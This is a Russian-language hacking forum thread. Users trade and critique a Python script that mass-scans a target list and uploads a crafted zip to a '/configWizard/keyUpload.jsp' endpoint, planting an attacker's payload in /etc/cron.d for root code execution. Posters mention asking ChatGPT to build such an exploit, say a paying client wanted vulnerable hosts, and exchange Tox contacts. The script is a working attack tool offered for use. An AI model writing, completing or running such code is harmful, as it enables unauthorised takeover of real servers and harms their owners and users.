а не кривой не попадался? я чатгпт просил мне сделать его, но чет тоже криво выходит )Он кривой
а не кривой не попадался? я чатгпт просил мне сделать его, но чет тоже криво выходит )Он кривой
ну ты ему сорцы с гитхаба скорми еще) мож чего выдастя чатгпт просил мне сделать его, но чет тоже криво выходит )
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
import socket
import concurrent.futures
urllib3.disable_warnings()
def exploit(protocol, target):
url = f'{protocol}://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered to {target}')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
def is_port_open(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((target, port))
if result == 0:
print(f"[+] {target}:{port} - Open")
return True
else:
print(f"[-] {target}:{port} - Closed")
return False
def scan_ports(target):
open_ports = []
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(is_port_open, target, port) for port in [80, 443, 8080, 8443]]
for future in concurrent.futures.as_completed(futures):
if future.result():
open_ports.append(future.result())
if len(open_ports) > 0:
exploit(args.protocol, target)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--protocol', help='Protocol to use (http or https)', default='https')
parser.add_argument('-f', '--file', help='Payload', required=True)
parser.add_argument('-t', '--targets', help='Targets', required=True)
args = parser.parse_args()
make_zip(args.file)
with open(args.targets, 'r') as targets_file:
targets = targets_file.read().splitlines()
for target in targets:
print(f"Scanning ports on {target}")
scan_ports(target)
/threads/82475/post-573047Зачем и почему ты это написал? Если взялся допилить, то допили по уму.
А так, пару минут потраченного времени людей в попытке понять, что ты тут выложил. Ничего дельного...
Как те пендосы, которые засрали раздел Python говеными "хело-ворлдами".
Уберу диз, если тебе это важно
Судя по твоим сообщениям на форуме - чсв здесь ты. Всего хорошегоДизлайк возвращаю за дерзость и чсв.
Хоспаде, и что ты сделал из того что просили?
Потоки только для чека портов, и поставил 10 воркеров, хотя работает 4. Кроме порта никаких проверок по телу ответа, ты будешь слать пейлод всегда на каждый открытый порт. Неявное использование args.protocol. Нету обработки исключений, и на первом же таймауте отлетит.
Крутая автоматизация, джва года ждали.
Дизлайк возвращаю за дерзость и чсв.
Успехов
Увы, нету. Был заказчик, пытались найти уязвимый хост для тестов, перебрали кучу, так и не нашли. Если у вас таковой имеется, то смогу допилить, но кмк актуальность его очень мизернаясэр, а у вас нету правильной версии, ну т.е. качественной?
Увы, нету. Был заказчик, пытались найти уязвимый хост для тестов, перебрали кучу, так и не нашли. Если у вас таковой имеется, то смогу допилить, но кмк актуальность его очень мизерная
Попробуй удалить и добавить заново.ты у меня в тохе есть, но что-то я не могу поймать вас, сэр. вобще мат есть, но он специфический.
тоже самое, в токсе есть а все время оффПопробуй удалить и добавить заново.